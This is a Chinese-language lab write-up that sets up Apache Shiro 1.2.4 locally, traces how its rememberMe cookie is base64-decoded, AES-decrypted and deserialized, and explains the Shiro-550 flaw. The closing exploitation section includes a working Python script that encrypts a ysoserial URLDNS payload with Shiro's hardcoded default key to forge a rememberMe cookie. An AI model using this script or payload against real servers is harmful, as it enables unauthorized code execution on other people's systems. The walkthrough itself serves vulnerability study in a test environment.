环境部署

使用的版本是idea2024专业版。尽量采用专业版,低版本的也可以。专业版一般内置tomcat可以少走很多弯路。我一开始搭建的时候用的是2022的社区版,在tomcat这卡了大半天。

一、shiro源码安装部署

源码下载:http://atoposx.com/tools/shiro/shiro-shiro-root-1.2.4.zip

打开idea导入项目

image-20240722191547640

image-20240722191858847

在samples/web/pom.xml文件下添加javax.servlet的版本

<version>1.2</version>

image-20240722192002909

最后将shiro项目打包成war包用于部署

image-20240722192124110

生成的war包会在samples/web/target目录下

image-20240722192219356

二、tomcat部署

image-20240722192540731

点击编辑配置

image-20240722192618971

点击加号-选择tomcat服务器-选择本地

应用程序服务器:本地tomcat安装地址

URL:启动后访问项目的路径

HTTP端口:tomcat访问端口

这些配置好后点击部署

image-20240722192749829

image-20240722192818197

点击工件

image-20240722192921818

选择有web含有exploded的

然后配置完毕

三、启动

image-20240722192957376

点击调试稍等即可。

shiro550反序列化分析

一、反序列化过程分析

shiro550中对rememberme cookie的反序列化过程大致如下图。

image-20240724095508253

我们在环境中下几个断点来调试跟进一下原生shiro对rememberme的反序列化过程。

启动环境,添加bp代理。

点击登录按钮

image-20240724102817051

输入账号密码,勾选remember me

登录成功后会在bp中发现登陆包,其中会发送remember me

image-20240724103134913

重放一下这个包就可以跟进解密过程

首先来到了AbstractRememberMeManager的getRememberedPrincipals方法

image-20240724104042772

跟进一下getRememberedSerializedIdentity方法

image-20240724104403282

发现是CookieRememberMeManager中的一个方法,往下看它的作用是获取加密后的rememberme,并进行base64解密

image-20240724104516075

image-20240724104613835

解密后继续往下走来到了convertBytesToPrincipals函数

image-20240724104851727

顾名思义就是一个类型转换的函数,将bytes转换成principal。跟进一下

image-20240724105028861

是AbstractRememberMeManager自己的函数,作用是先解密上一步base64解密后的密文,再将其反序列化。

跟进decrypt函数

image-20240724105336911

继续调用别的解密函数。这里要强调一下getDecryptionCipherKey()参数,跟到后面可以发现加密方法是aes加密,aes是对称加密,需要一个密钥来解密。getDecryptionCipherKey()函数就是来获取解密的密钥,我们可以跟进这个函数看一下这个密钥长什么样。

image-20240724105632802

image-20240724112121123

在知道密钥是什么之后我们跟进decrypt函数

image-20240724105809480

最终解密调用了JcaCipherService.decrypt()函数。观察整个函数体其实就可以发现是aes的解密方式

所以到这我们可以得到一个重要的结论就是remember的解密过程经历了以下步骤:

获取rememberme->base64解密->aes解密->反序列化。

反推就可以得到rememberme的形成方式:

原数据->序列化->aes加密->base64加密->得到rememberme

这就是shiro反序列化漏洞成因并且可以被利用的重要原因。

继续运行代码。

image-20240724110523595

解密完成后返回序列化的原数据

image-20240724110601804

继续走来到了反序列化的函数,跟进函数

image-20240724110637951

继续跟进deserialize函数

image-20240724110714417

最终是调用了DefaultSerializer.deserialize()来反序列化数据,至此反序列化过程结束。

二、漏洞成因

根据上面的分析,我们可以总结一下漏洞形成的原因。

首先我们知道了rememberme的构造过程:原数据->序列化->aes加密->base64加密->得到rememberme。

那我们就可以根据这个过程来构建我们自定义的rememberme。

其次shiro550采用的是固定密钥来加密,aes加密的步骤就可以顺利完成。

最后反序列化函数调用了readObject函数,就有很大可能能用链子去打

三、漏洞利用

(1)URLDNS检测

可以用urldns链检测是否存在反序列化漏洞。

  1. 使用ysoserial生成dns链pocimage-20240724112415133
  2. 编写脚本进行aes、base64加密

    import sys
    import uuid
    import base64
    from Crypto.Cipher import AES
    
    def pad(data, block_size):
        pad_len = block_size - len(data) % block_size
        return data + pad_len * chr(pad_len).encode()
    
    def aes_encrypt(data, key, iv):
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        return encryptor.encrypt(data)
    
    def encode_rememberme(data):
        BS = AES.block_size
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        file_body = pad(data, BS)
        encrypted_data = iv + aes_encrypt(file_body, key, iv)
        base64_ciphertext = base64.b64encode(encrypted_data)
        return base64_ciphertext
    
    def main(input_file):
        with open(input_file, 'rb') as f:
            file_content = f.read()
        
        encrypted_payload = encode_rememberme(file_content)
        
        # Print the encrypted content
        print(encrypted_payload.decode())
    
    if __name__ == '__main__':
        if len(sys.argv) != 2:
            print("Usage: python script.py <input_file.txt>")
            sys.exit(1)
    
        input_file = sys.argv[1]
        main(input_file)
  3. 运行脚本得到rememberme值image-20240724112614020
  4. bp发包发现成功利用image-20240724112931191

    image-20240724112901787